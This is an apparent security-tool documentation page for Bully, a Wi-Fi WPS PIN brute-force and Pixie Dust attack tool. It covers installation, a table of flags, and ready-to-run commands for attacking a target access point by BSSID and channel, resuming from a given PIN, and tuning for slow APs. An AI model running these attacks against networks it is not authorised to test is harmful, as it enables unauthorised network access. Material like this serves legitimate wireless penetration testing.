> ## Documentation Index
> Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Bully

> WPS PIN brute force and Pixie Dust attack tool, alternative to Reaver with better handling of some APs.

## Overview

Bully performs WPS PIN brute force and Pixie Dust attacks. Alternative to Reaver with different WPS state machine implementation — useful when Reaver fails or stalls on certain APs.

***

## Install

```bash theme={"dark"}
sudo apt install bully
```

***

## Usage

```
bully <interface> -b <BSSID> [options]
```

| Flag           | Description                                                |
| -------------- | ---------------------------------------------------------- |
| `-b <BSSID>`   | Target AP MAC address                                      |
| `-c <channel>` | Target channel                                             |
| `-d`           | Enable Pixie Dust attack                                   |
| `-v <1-3>`     | Verbosity level (3 = max)                                  |
| `-p <N>`       | Starting PIN number (7/8 digits) for the sequential search |
| `-s <macaddr>` | Source (hardware) MAC address to use                       |
| `-e <ESSID>`   | Target SSID                                                |
| `-t <sec>`     | Timeout per attempt                                        |
| `-l <sec>`     | Seconds to wait if the AP locks WPS (default 43)           |
| `-r <count>`   | Retries before giving up                                   |
| `-5`           | Hop on 5 GHz (a/n) default channel list                    |
| `-B`           | Bruteforce the BSSID                                       |

***

## Pixie Dust Attack

```bash theme={"dark"}
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -d -v 3
```

***

## PIN Brute Force

```bash theme={"dark"}
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -v 3
```

***

## Resume from Specific PIN

```bash theme={"dark"}
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -p 12340000 -v 3
```

***

## Tune for Slow APs

```bash theme={"dark"}
sudo bully wlan0mon -b <BSSID> -c <CHANNEL> -l 5 -r 3 -v 3
```